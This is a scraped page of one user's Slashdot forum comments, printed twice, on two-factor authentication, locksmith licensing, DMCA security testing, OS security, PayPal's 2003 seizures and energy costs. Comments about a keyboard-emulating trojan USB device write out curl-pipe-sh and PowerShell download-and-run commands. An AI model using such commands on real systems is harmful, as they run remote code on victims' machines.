The idea of these phone-based two factor schemes was that if a bad guy hacks your browser (ie you have Flash installed), they can't access your accounts without ALSO compromising your phone. They'd have to hack two devices, not just one.
The researchers point out that the browser can use http://play.google.com/ to remotely compromise your phone. Compromising the desktop browser automatically means they can get the phone too. Therefore hacking just the browser is sufficient. "Two factor auth" is actually single factor, due to the browser-based app store.
When I did locksmith work in Texas, no license was required. Several years ago they passed a licensing law. To be fully licensed to work on your own, you need 648 hours of school plus 1(?) year apprenticeship, or two years apprenticeship and I think just the 48 hours of classroom. There was a grandfather provision in the licensing law saying anyone who had already been working as a locksmith could get a license without the new training requirement. I somewhat wish I had done that, just so I could legally carry my picks and auto entry tools, even though I haven't worked as a locksmith in a long time.
The same office regulates private investigators, locksmiths, people installing security systems, and some others. There is some overlap between these fields, so any of the licenses will, in practice, allow you to do work somewhat in the other fields. To investigate a crime, you need your private investigator license, and computer hacking is a crime. Therefore, a computer security person checking out a hacked computer is supposed to be a licensed PI. Setting up security for a computer network? That's a security system, and you're supposed to be licensed. I was licensed as a private investigator, allowed to work for a licensed company, and I may go proceed with that to have my own licensed company at some point.
The Lycoming T53, first produced in 1955, produces 1400 horsepower and weighs 688 pounds. So just over 2 horsepower per pound.
The turbines in on the Boeing 777 produce over 8 horsepower per pound.
Electric motors: The Prius motor produces 0.8 HP per pound. The Tesla motors are better, but still not as good as a 1950s era turbine, if memory serves.
Why use liquid hydrogen? Does it have some magical property? Given the weight of the cylinder, it's not a particularly efficient way to store energy, though it may be better than batteries.
At larger sizes, hybrid, multi-stage systems can work. The typical locomotive is a great example. The diesel engine turns a generator which powers the electric motors that propel the train.
You are correct, the code is mostly used on porn sites (about 30,000 of them). If you've paid $29.95 to join RedheadMilf.com, we can reasonably infer that you might like red headed milfs. We use whatever photos the site itself is selling, what the customer already paid for.
Ps, at work my team is Vulnerability Assessment > Tools. My official job title is Vulnerability Assessment Engineer. Basically, I write hack tools for a living, so the law on the subject is a tad important for me. This is something I pay attention to.
On the other hand, it's illegal for me to possess slim jims REGARDLESS of intent, since the locksmith licensing laws changed where I live. I should have taken advantage of the grace period after the law was enacted to get my locksmith license.
That's where (j) comes into play. That says it's NOT illegal to examine the security and build tools to break IF you don't then either use or market the tool for copyright violation under the act.
It ends up being like (Constitutional) gun law - using a gun in the commission of a felony is a separate crime, but having a gun is lawful if you don't use it for another crime. Similarly, building a hack tool intended for copyright infringement is illegal, but the tool is not illegal if there's no infringement, actual or intended.
Ps - whenever I post what the law is, people get mad at me, arguing that shouldn't be the law. I didn't write the law, I just read it.
It is not a violation to test the security, if you don't then use the results of the test to infringe copyright:
(2) Permissible acts of security testing. â" Notwithstanding the provisions of subsection (a)(1)(A), it is not a violation of that subsection for a person to engage in an act of security testing...
It is also not illegal if done by or for the government: (e) Law Enforcement, Intelligence, and Other Government Activities. â" This section does not prohibit any lawfully authorized investigative, protective, information security, or intelligence activity of an officer, agent, or employee of the United States, a State, or a political subdivision of a State, or a person acting pursuant to a contract with the United States...
I'll more directly answer your post. You posed the question of whether concerns that the government can lean on big companies and thereby get access to your computer should override other benefits of using a particular operating system. "Is it really worth it?", you asked.
In my opinion, it IS worth that risk of government finding a way to access my employee email etc, particularly if they have the laptop in custody and a warrant, like the San Bernardino case, when the alternative is that -I- don't have proper access to my work email, calendar, etc. If the FBI seizes my employer's computers, they'll have 16 ways to read the email regardless of which OS I use on my laptop. It's stored on the Exchange server. The source code I write is in our git, cvs, and hg repos, unencrypted and ready for the FBI to seize. So trying to use a non-standard OS on my work laptop wouldn't even INCONVENIENCE the FBI, but it sure would inconvenience me and my co-workers. In this instance, there is nothing to be gained from trying to keep the FBI out of my laptop.
At my last employer, I also had three Macs. All of the information on a those computers was property of my employer, a government agency. Most of it was and is available, free, to the public. Does it make any sense to try to prevent the FBI from reading the course material for security courses that we provide free online? Are they going to use it to cheat on the test? Are we protecting the GPL source code of the online campus we used to deliver the training? They can get that at Moodle.org. If they want to specifically look at the code I wrote, they can look in the Moodle git repository, which is open to the public.
So for those jobs, the right tool for the job doesn't need to be FBI proof.
If I was going to pull a Snowden, obviously the requirements change. I might care about making certain data not readable by the feds. Even for my own personal laptop I prefer Linux.
I could have said that more concisely as: -- My last two employers needed me to use Outlook and Photoshop. My personal workflow uses bash, perl, grep, awk, and make.
All of those required tools work great on my Mac, even after I've dropped it on the concrete. --- Mac is full-fledged certified UNIX, and it's corporate helpdesk approved. Where else are you going find that combination ?
My MacBook Pro does run Linux, Windows, and FreeBSD virtual machines all the time too, though. I click whichever OS is suited to the moment. Last week, in 18 hours, we found thousands of vulnerabilities in 14 machines running those operating systems plus Cisco, so I know none are bulletproof, but I also know some are much more secure than others. (Out full vulnerability report for 14 targets was over 1600 pages long - for the exposures we found in 18 hours).
For a very long time I ran Linux on everything- not just my desktops, laptops, laptops, and servers, but also my routers and everything else. Linux is so flexible that it runs 98% of all supercomputers, and also runs fine with 8 MB of RAM. For many purposes, there is a Linux distribution that's the right tool for the job.
In some cases, FreeBSD or OpenBSD is the right tool for the job. Firewalls are a great example, you want your firewall to be secure and reliable ; you don't care if it supports the latest graphics card well. FreeBSD is secure, reliable and very network-centric. There's a great user-friendly storage server system that happens to be BSD based.
For a corporate desktop, in an environment with Active Directory, ldap, etc, and little tolerance for downtime and "fiddling" wjth your computer to make it work, sometimes you still want a UNIX box rather than Windows. OS X fits that role nicely, in my opinion. Note OS X is a completely different beast than iOS. Nobody that I know uses the damn app store for OS X. It's simply a well built UNIX which will run all of your favorite FOSS software, reliably without fiddling with sysctl and X graphics drivers, while integrating pretty seamlessly into the Windows-centric corporate environment.
No, the Playstation doesn't run FreeBSD, or free anything. It runs a proprietary operating system which includes a lot of code from another proprietary operating system which once borrowed some code from FreeBSD.
Every few years, somebody figures out a way that if you have full access to the hardware, you can open it up and do this and that and boot another OS. I don't know that ANY popular hardware is secure against that.
Going on 20 years working full time in computer security, it's my informed opinion that FreeBSD and OpenBSD are both more secure than any of the more popular operating systems. FreeBSD can be more secure than Linux by giving up some of the flexibility and the cutting-edge features. FreeBSD is one OS, Linux is a bunch of related operating systems, including Android. Windows not only has the focus on new features, but is also just now overcoming some security decisions that made sense when they were made, but turned out to be disastrous for security as the world changed.
OS X is in some ways similar to the BSDs - it's based on a solid multi-user, network OS pedigree, and it's not required to be flexible. With OS X, things work the way Apple chooses. They choose the exact hardware they'll support and the OS does things the way Apple chooses , they don't support a dozen different alternatives for each thing like Linux does and Windows somewhat does. This allows Apple to make that one supported way more secure and reliable.
There are a few characters missing from the code I posted. I don't have a Windows machine handy to test with at the moment, in order to catch any errors. It would actually be more like:
Invoke-WebRequest downloads a URL, like a browser would, but then we use the pipe character | to send the content of that URL to powershell. Powershell is kind of like cmd.exe, but more powerful. If you do Win+R cmd.exe you'll see what looks like a DOS prompt, where you can type commands. Powershell is that on steroids (and on crack).
Piping them together, you get "retrieve commands from http://tinyurl.com/jfjdhd and run them using powershell ".
Curl gets whatever is at that URL and sends it to "sh". Sh, the shell, is the "DOS prompt" of Unix, and runs whatever commands that curl got from the internet.
That's basically what I did; I used the same chip used by the Arduino Nano, flashed with the Arduino bootloader, without the Arduino circuit board.
At first, I put it together to brute-force an Android PIN overnight. Then I adjusted the code slightly to keep a Chromebox from going into power saving mode, because the Chromebox was running a wall-mounted display.
Having a tiny USB device that acts as a keyboard and nothing more to do with it, mounting it in an old flash drive casing was the next logical step for a security geek like myself.
That's the concept that is proposed as a solution, but it's not trivial to implement. If you've ever tried to boot a machine with no OS on a properly connected drive, or indeed used BIOS, you know that the keyboard functions without needing permission from any operating system.
Specifically, the System Request key (typically Alt-PrntScrn) is used to debug operating systems and CPU hardware. SysRq commands can do things like pause the OS kernel, and dump RAM.
To prevent trojan HID attacks, the motherboard and the OS will need to communicate using some new protocol. The motherboard will have to give the OS an opportunity to block new hardware while the OS prompts the user.
Trying to do much through the GUI could be quite error-prone, though errors are acceptable. The more normal approach would be for the keyboard to run something like this single command for Windows, which tells the OS to download and run a script:
Powershell or/bin/sh takes over from there - the victim could yank the trojan device out and the malicious script will continue to run in the background.
You assume that USB stick is a flash memory device. Being nasty, it tells the computer that it's a keyboard. Your computer almost certainly processes keyboard commands just like other computers do. I've built one of these.
> every one of their customers and make sure their values aligned with PayPal's and seize their funds if not?
Paypal already did that, in 2003. They didn't bother to interrogate the customers, though, they just seized your account based on suspicion and wouldn't talk to you about it, wouldn't tell you what they suspected you of or why. The secondary effects caused problems for a significant portion of all online businesses.
In 2003, Facebook and Netflix didn't exist yet, Yahoo got more traffic than Google, and the web commerce wasn't yet ubiquitous, except for porn sites. In fact, 70% of the money in online commerce was related to adult sites. Paypal had just been purchased by eBay.
First, Paypal decided to change their written policy and not allow Paypal to be used for any adult products or services (aka porn sites). That was a bit disruptive, but they would certainly within their rights to do that. They then ran "dirty word" searches through all of the transaction comments and email addresses for all payments and seized the accounts of anyone who had payments which included suspect words. So if you were selling Wordpress themes plugins or plugins and someone bought your theme for use on nakedcheerleaders.com, they might use their support@nakedcheerleaders.com email address for payment, or they might put "For installation on nakedcheerleaders.com" in the comment box. Paypal's database query would see naked cheerleaders, mark you as "suspected porn" and lock down your account. Funds for withheld for six months, as I recall.
Remember at the time not everyone and their dog had an e-commerce site at the time. About 70% of all the money flowing on the internet was porn related, so almost everyone selling hosting, CGI and PHP scripts, themes, SEO, graphic design, clipart, etc all had adult sites as customers. Suppose you're selling clip art; not only does your Paypal account get with your funds get snatched, the same thing happens to your customers, so they don't have access to their funds and can't pay you. Therefore you can't pay your web host. He would like to be patient and understanding, but the same thing happened to 40% of his customers and he has to pay his bill for datacenter space - he needs some of his customers to pay him or he'll be in deep shit. The funny / tragic thing was sometimes the web host (Zing Hosting) owes the marketing guy, the marketing guy owes the graphics guy and the graphics guy needs to pay his hosting bill, where he's hosted with Zing Hosting. A can't pay B until he's paid by C, and C can't pay A until he's paid by B. It was a real problem for a month or two. In some cases, people managed follow the trial of who owed who, unwinding the 'net economy, and resolve unpaid bills with nothing but an email, like this one: Anna owes Bob Bob owes Charlie Charlie owes Dan. Dan owes Anna. Please deduct $100 from all of the above bills - Anna is sending the $100 IOU to Dan, who is sending it to Charlie, who is sending it Bob, who is sending it back to Anna.
Come to think of it, I could have helped a lot of people made some money by doing so at the time. I should have either spent a couple hours putting together an account reconciliation database which would find cycles as above and issue "paid" notices, or issued digital payment IOUs/"poker chips" as I did once before.
In an earlier life I issued physical poker chips which I guaranteed that I would exchange for cash within 24 hours of demand. Because of my reputation in the community/clique, my chips circulated as payment for a occasionally. I could have done the same online in 2003, possibly stating I would pay the recipient of the chip 7 days after they got that chip. That would give them incentive to try to pass the chip along as payment to someone else right away, rather than waiting 7 days for me to pay them, before they could pay whomever.
* Wordpress plugins wouldn't actually exist until 6 months later, but you get the idea.
> And where did you get those cost figures? Why should we base an argument over figures that you pulled out (being polite here) thin air?
The point is that there is a cost. It's good you're being polite, because one of us thought that products and services appear out of thin air.
$5,000 is about right for attic insulation only in a medium sized house with typical blown insulation, but different buildings will have different costs. Obviously replacing the insulation in walls is quite a bit more expensive, because you have to tear out the drywall. Adding MORE insulation in the exterior walls would often require making the walls thicker, which would be a MAJOR renovation. Window upgrades are a few thousand dollars. Source? I've had this kind of work done. Hit Google for ten seconds to get average costs for whatever type of work you want to look up.
The key point is that you're now thinking about the costs, rather than ignoring the costs, or even actively pretending that it's free.
The comparison is that claim that renovation work is done "for free".
> Renewables have actually been keeping prices down in the UK. Contrast with nuclear that is forcing prices up.
Somebody lied to you, in two ways. First, comparing them is a bit silly, because they aren't interchangeable, they complement one another. (What's the cost per MWh of solar power on a cloudy day?) More on that in a moment. Second, wind power projects in the UK have cost quite a bit -more- than nuclear. The UK Department of Energy and Climate Change lists nuclear at 80-105 £/MWh, onshore wind at 80 -110, offshore wind 150-210. Unlike onshore, offshore wind is somewhat steady minute-to-minute, varying by the hour and day, though not long-term steady like nuclear - and wind costs twice as much. That's according to the friggin department of climate change.
That all somewhat misses the point, though. Wind is really cheap during a thunderstorm. It's infinitely expensive in the early morning, when the air is still. The amount of power in wind is proportional to the CUBE of the velocity, so a 30 MPH wind has TWENTY SEVEN times as much power as a 10 MPH wind. Windmills need to be built heavy-duty enough to survive the power of a 60-80 MPH storm wind. That's about 1,000 times as much power as a breeze, so the inertia, internal friction etc of the heavy-duty construction means you get no power from a light breeze. That's the nature of wind power - sometimes it's cheap, oftentimes is completely shut off, unavailable. So you use it when you can.
A rational mix is as follows: nuclear to cover the daily minimum load (the 2AM demand) wind or in some cases solar for whatever they provide at the moment natural gas or similar throttleable to make up the difference
* hydro and geothermal are a small part of the base minimum (nuclear) portion, in areas that happen to have the geological features handy.
Slashdot Mirror
The idea of these phone-based two factor schemes was that if a bad guy hacks your browser (ie you have Flash installed), they can't access your accounts without ALSO compromising your phone. They'd have to hack two devices, not just one.
The researchers point out that the browser can use http://play.google.com/ to remotely compromise your phone. Compromising the desktop browser automatically means they can get the phone too. Therefore hacking just the browser is sufficient. "Two factor auth" is actually single factor, due to the browser-based app store.
When needed, spit the semen sample out. You can borrow some of mine.
When I did locksmith work in Texas, no license was required. Several years ago they passed a licensing law. To be fully licensed to work on your own, you need 648 hours of school plus 1(?) year apprenticeship, or two years apprenticeship and I think just the 48 hours of classroom. There was a grandfather provision in the licensing law saying anyone who had already been working as a locksmith could get a license without the new training requirement. I somewhat wish I had done that, just so I could legally carry my picks and auto entry tools, even though I haven't worked as a locksmith in a long time.
The same office regulates private investigators, locksmiths, people installing security systems, and some others. There is some overlap between these fields, so any of the licenses will, in practice, allow you to do work somewhat in the other fields. To investigate a crime, you need your private investigator license, and computer hacking is a crime. Therefore, a computer security person checking out a hacked computer is supposed to be a licensed PI. Setting up security for a computer network? That's a security system, and you're supposed to be licensed. I was licensed as a private investigator, allowed to work for a licensed company, and I may go proceed with that to have my own licensed company at some point.
Two example turbines:
The Lycoming T53, first produced in 1955, produces 1400 horsepower and weighs 688 pounds. So just over 2 horsepower per pound.
The turbines in on the Boeing 777 produce over 8 horsepower per pound.
Electric motors:
The Prius motor produces 0.8 HP per pound.
The Tesla motors are better, but still not as good as a 1950s era turbine, if memory serves.
Why use liquid hydrogen? Does it have some magical property? Given the weight of the cylinder, it's not a particularly efficient way to store energy, though it may be better than batteries.
At larger sizes, hybrid, multi-stage systems can work. The typical locomotive is a great example. The diesel engine turns a generator which powers the electric motors that propel the train.
If it were a free site, and it were call redhead-lolitas.com, you might see a few of those. Paying $29.95 for MILFs? Odds close to zero.
However, if such a person takes an extra two or three seconds to recognize the red headed MILFs in the pics, that's great.
You are correct, the code is mostly used on porn sites (about 30,000 of them). If you've paid $29.95 to join RedheadMilf.com, we can reasonably infer that you might like red headed milfs. We use whatever photos the site itself is selling, what the customer already paid for.
It was marketed for investigative use. The law says it's illegal marketed for the purpose of unlawful copyright infringement.
Ps, at work my team is Vulnerability Assessment > Tools. My official job title is Vulnerability Assessment Engineer. Basically, I write hack tools for a living, so the law on the subject is a tad important for me. This is something I pay attention to.
On the other hand, it's illegal for me to possess slim jims REGARDLESS of intent, since the locksmith licensing laws changed where I live. I should have taken advantage of the grace period after the law was enacted to get my locksmith license.
That's where (j) comes into play. That says it's NOT illegal to examine the security and build tools to break IF you don't then either use or market the tool for copyright violation under the act.
It ends up being like (Constitutional) gun law - using a gun in the commission of a felony is a separate crime, but having a gun is lawful if you don't use it for another crime. Similarly, building a hack tool intended for copyright infringement is illegal, but the tool is not illegal if there's no infringement, actual or intended.
Ps - whenever I post what the law is, people get mad at me, arguing that shouldn't be the law. I didn't write the law, I just read it.
It is not a violation to test the security, if you don't then use the results of the test to infringe copyright:
(2) Permissible acts of security testing. â" Notwithstanding the provisions of subsection (a)(1)(A), it is not a violation of that subsection for a person to engage in an act of security testing ...
It is also not illegal if done by or for the government: ...
(e) Law Enforcement, Intelligence, and Other Government Activities. â" This section does not prohibit any lawfully authorized investigative, protective, information security, or intelligence activity of an officer, agent, or employee of the United States, a State, or a political subdivision of a State, or a person acting pursuant to a contract with the United States
I'll more directly answer your post. You posed the question of whether concerns that the government can lean on big companies and thereby get access to your computer should override other benefits of using a particular operating system. "Is it really worth it?", you asked.
In my opinion, it IS worth that risk of government finding a way to access my employee email etc, particularly if they have the laptop in custody and a warrant, like the San Bernardino case, when the alternative is that -I- don't have proper access to my work email, calendar, etc. If the FBI seizes my employer's computers, they'll have 16 ways to read the email regardless of which OS I use on my laptop. It's stored on the Exchange server. The source code I write is in our git, cvs, and hg repos, unencrypted and ready for the FBI to seize. So trying to use a non-standard OS on my work laptop wouldn't even INCONVENIENCE the FBI, but it sure would inconvenience me and my co-workers. In this instance, there is nothing to be gained from trying to keep the FBI out of my laptop.
At my last employer, I also had three Macs. All of the information on a those computers was property of my employer, a government agency. Most of it was and is available, free, to the public. Does it make any sense to try to prevent the FBI from reading the course material for security courses that we provide free online? Are they going to use it to cheat on the test? Are we protecting the GPL source code of the online campus we used to deliver the training? They can get that at Moodle.org. If they want to specifically look at the code I wrote, they can look in the Moodle git repository, which is open to the public.
So for those jobs, the right tool for the job doesn't need to be FBI proof.
If I was going to pull a Snowden, obviously the requirements change. I might care about making certain data not readable by the feds. Even for my own personal laptop I prefer Linux.
I could have said that more concisely as:
--
My last two employers needed me to use Outlook and Photoshop.
My personal workflow uses bash, perl, grep, awk, and make.
All of those required tools work great on my Mac, even after I've dropped it on the concrete.
---
Mac is full-fledged certified UNIX, and it's corporate helpdesk approved. Where else are you going find that combination ?
My MacBook Pro does run Linux, Windows, and FreeBSD virtual machines all the time too, though. I click whichever OS is suited to the moment. Last week, in 18 hours, we found thousands of vulnerabilities in 14 machines running those operating systems plus Cisco, so I know none are bulletproof, but I also know some are much more secure than others. (Out full vulnerability report for 14 targets was over 1600 pages long - for the exposures we found in 18 hours).
For a very long time I ran Linux on everything- not just my desktops, laptops, laptops, and servers, but also my routers and everything else. Linux is so flexible that it runs 98% of all supercomputers, and also runs fine with 8 MB of RAM. For many purposes, there is a Linux distribution that's the right tool for the job.
In some cases, FreeBSD or OpenBSD is the right tool for the job. Firewalls are a great example, you want your firewall to be secure and reliable ; you don't care if it supports the latest graphics card well. FreeBSD is secure, reliable and very network-centric. There's a great user-friendly storage server system that happens to be BSD based.
For a corporate desktop, in an environment with Active Directory, ldap, etc, and little tolerance for downtime and "fiddling" wjth your computer to make it work, sometimes you still want a UNIX box rather than Windows. OS X fits that role nicely, in my opinion. Note OS X is a completely different beast than iOS. Nobody that I know uses the damn app store for OS X. It's simply a well built UNIX which will run all of your favorite FOSS software, reliably without fiddling with sysctl and X graphics drivers, while integrating pretty seamlessly into the Windows-centric corporate environment.
No, the Playstation doesn't run FreeBSD, or free anything. It runs a proprietary operating system which includes a lot of code from another proprietary operating system which once borrowed some code from FreeBSD.
Every few years, somebody figures out a way that if you have full access to the hardware, you can open it up and do this and that and boot another OS. I don't know that ANY popular hardware is secure against that.
Going on 20 years working full time in computer security, it's my informed opinion that FreeBSD and OpenBSD are both more secure than any of the more popular operating systems. FreeBSD can be more secure than Linux by giving up some of the flexibility and the cutting-edge features. FreeBSD is one OS, Linux is a bunch of related operating systems, including Android. Windows not only has the focus on new features, but is also just now overcoming some security decisions that made sense when they were made, but turned out to be disastrous for security as the world changed.
OS X is in some ways similar to the BSDs - it's based on a solid multi-user, network OS pedigree, and it's not required to be flexible. With OS X, things work the way Apple chooses. They choose the exact hardware they'll support and the OS does things the way Apple chooses , they don't support a dozen different alternatives for each thing like Linux does and Windows somewhat does. This allows Apple to make that one supported way more secure and reliable.
There are a few characters missing from the code I posted. I don't have a Windows machine handy to test with at the moment, in order to catch any errors. It would actually be more like:
Win+R powershell -command 'Invoke-WebRequest http...
Invoke-WebRequest downloads a URL, like a browser would, but then we use the pipe character | to send the content of that URL to powershell. Powershell is kind of like cmd.exe, but more powerful. If you do Win+R cmd.exe you'll see what looks like a DOS prompt, where you can type commands. Powershell is that on steroids (and on crack).
Piping them together, you get "retrieve commands from http://tinyurl.com/jfjdhd and run them using powershell ".
The Linux/Unix/Mac version is similar:
curl http://tinyurl.com/hacker | sh
Curl gets whatever is at that URL and sends it to "sh". Sh, the shell, is the "DOS prompt" of Unix, and runs whatever commands that curl got from the internet.
Actually mine was a treated as a Pro Micro. I think the Nano uses the older chip, which only works as a USB host, not a USB gadget.
That's basically what I did; I used the same chip used by the Arduino Nano, flashed with the Arduino bootloader, without the Arduino circuit board.
At first, I put it together to brute-force an Android PIN overnight. Then I adjusted the code slightly to keep a Chromebox from going into power saving mode, because the Chromebox was running a wall-mounted display.
Having a tiny USB device that acts as a keyboard and nothing more to do with it, mounting it in an old flash drive casing was the next logical step for a security geek like myself.
That's the concept that is proposed as a solution, but it's not trivial to implement. If you've ever tried to boot a machine with no OS on a properly connected drive, or indeed used BIOS, you know that the keyboard functions without needing permission from any operating system.
Specifically, the System Request key (typically Alt-PrntScrn) is used to debug operating systems and CPU hardware. SysRq commands can do things like pause the OS kernel, and dump RAM.
To prevent trojan HID attacks, the motherboard and the OS will need to communicate using some new protocol. The motherboard will have to give the OS an opportunity to block new hardware while the OS prompts the user.
Trying to do much through the GUI could be quite error-prone, though errors are acceptable. The more normal approach would be for the keyboard to run something like this single command for Windows, which tells the OS to download and run a script:
Win+R Invoke-WebRequest tinyurl.com/hfgrhd | powershell.exe
And / or this for Linux and Mac:
Ctrl-Alt+F1 curl http://tinyurl.com/hfhfh | sh
Ctrl-Alt+F7
Powershell or /bin/sh takes over from there - the victim could yank the trojan device out and the malicious script will continue to run in the background.
You assume that USB stick is a flash memory device. Being nasty, it tells the computer that it's a keyboard. Your computer almost certainly processes keyboard commands just like other computers do. I've built one of these.
> every one of their customers and make sure their values aligned with PayPal's and seize their funds if not?
Paypal already did that, in 2003. They didn't bother to interrogate the customers, though, they just seized your account based on suspicion and wouldn't talk to you about it, wouldn't tell you what they suspected you of or why. The secondary effects caused problems for a significant portion of all online businesses.
In 2003, Facebook and Netflix didn't exist yet, Yahoo got more traffic than Google, and the web commerce wasn't yet ubiquitous, except for porn sites. In fact, 70% of the money in online commerce was related to adult sites. Paypal had just been purchased by eBay.
First, Paypal decided to change their written policy and not allow Paypal to be used for any adult products or services (aka porn sites). That was a bit disruptive, but they would certainly within their rights to do that. They then ran "dirty word" searches through all of the transaction comments and email addresses for all payments and seized the accounts of anyone who had payments which included suspect words. So if you were selling Wordpress themes plugins or plugins and someone bought your theme for use on nakedcheerleaders.com, they might use their support@nakedcheerleaders.com email address for payment, or they might put "For installation on nakedcheerleaders.com" in the comment box. Paypal's database query would see naked cheerleaders, mark you as "suspected porn" and lock down your account. Funds for withheld for six months, as I recall.
Remember at the time not everyone and their dog had an e-commerce site at the time. About 70% of all the money flowing on the internet was porn related, so almost everyone selling hosting, CGI and PHP scripts, themes, SEO, graphic design, clipart, etc all had adult sites as customers. Suppose you're selling clip art; not only does your Paypal account get with your funds get snatched, the same thing happens to your customers, so they don't have access to their funds and can't pay you. Therefore you can't pay your web host. He would like to be patient and understanding, but the same thing happened to 40% of his customers and he has to pay his bill for datacenter space - he needs some of his customers to pay him or he'll be in deep shit. The funny / tragic thing was sometimes the web host (Zing Hosting) owes the marketing guy, the marketing guy owes the graphics guy and the graphics guy needs to pay his hosting bill, where he's hosted with Zing Hosting. A can't pay B until he's paid by C, and C can't pay A until he's paid by B. It was a real problem for a month or two. In some cases, people managed follow the trial of who owed who, unwinding the 'net economy, and resolve unpaid bills with nothing but an email, like this one:
Anna owes Bob
Bob owes Charlie
Charlie owes Dan.
Dan owes Anna.
Please deduct $100 from all of the above bills - Anna is sending the $100 IOU to Dan, who is sending it to Charlie, who is sending it Bob, who is sending it back to Anna.
Come to think of it, I could have helped a lot of people made some money by doing so at the time. I should have either spent a couple hours putting together an account reconciliation database which would find cycles as above and issue "paid" notices, or issued digital payment IOUs/"poker chips" as I did once before.
In an earlier life I issued physical poker chips which I guaranteed that I would exchange for cash within 24 hours of demand. Because of my reputation in the community/clique, my chips circulated as payment for a occasionally. I could have done the same online in 2003, possibly stating I would pay the recipient of the chip 7 days after they got that chip. That would give them incentive to try to pass the chip along as payment to someone else right away, rather than waiting 7 days for me to pay them, before they could pay whomever.
* Wordpress plugins wouldn't actually exist until 6 months later, but you get the idea.
In fact, the way my non-CAPTCHA is used, we know -exactly- what the user thinks is sexy. Guess how we pull that trick off.
> And where did you get those cost figures? Why should we base an argument over figures that you pulled out (being polite here) thin air?
The point is that there is a cost. It's good you're being polite, because one of us thought that products and services appear out of thin air.
$5,000 is about right for attic insulation only in a medium sized house with typical blown insulation, but different buildings will have different costs. Obviously replacing the insulation in walls is quite a bit more expensive, because you have to tear out the drywall. Adding MORE insulation in the exterior walls would often require making the walls thicker, which would be a MAJOR renovation. Window upgrades are a few thousand dollars. Source? I've had this kind of work done. Hit Google for ten seconds to get average costs for whatever type of work you want to look up.
The key point is that you're now thinking about the costs, rather than ignoring the costs, or even actively pretending that it's free.
The comparison is that claim that renovation work is done "for free".
> Renewables have actually been keeping prices down in the UK. Contrast with nuclear that is forcing prices up.
Somebody lied to you, in two ways. First, comparing them is a bit silly, because they aren't interchangeable, they complement one another. (What's the cost per MWh of solar power on a cloudy day?) More on that in a moment. Second, wind power projects in the UK have cost quite a bit -more- than nuclear. The UK Department of Energy and Climate Change lists nuclear at 80-105 £/MWh, onshore wind at 80 -110, offshore wind 150-210. Unlike onshore, offshore wind is somewhat steady minute-to-minute, varying by the hour and day, though not long-term steady like nuclear - and wind costs twice as much. That's according to the friggin department of climate change.
That all somewhat misses the point, though. Wind is really cheap during a thunderstorm. It's infinitely expensive in the early morning, when the air is still. The amount of power in wind is proportional to the CUBE of the velocity, so a 30 MPH wind has TWENTY SEVEN times as much power as a 10 MPH wind. Windmills need to be built heavy-duty enough to survive the power of a 60-80 MPH storm wind. That's about 1,000 times as much power as a breeze, so the inertia, internal friction etc of the heavy-duty construction means you get no power from a light breeze. That's the nature of wind power - sometimes it's cheap, oftentimes is completely shut off, unavailable. So you use it when you can.
A rational mix is as follows:
nuclear to cover the daily minimum load (the 2AM demand)
wind or in some cases solar for whatever they provide at the moment
natural gas or similar throttleable to make up the difference
* hydro and geothermal are a small part of the base minimum (nuclear) portion, in areas that happen to have the geological features handy.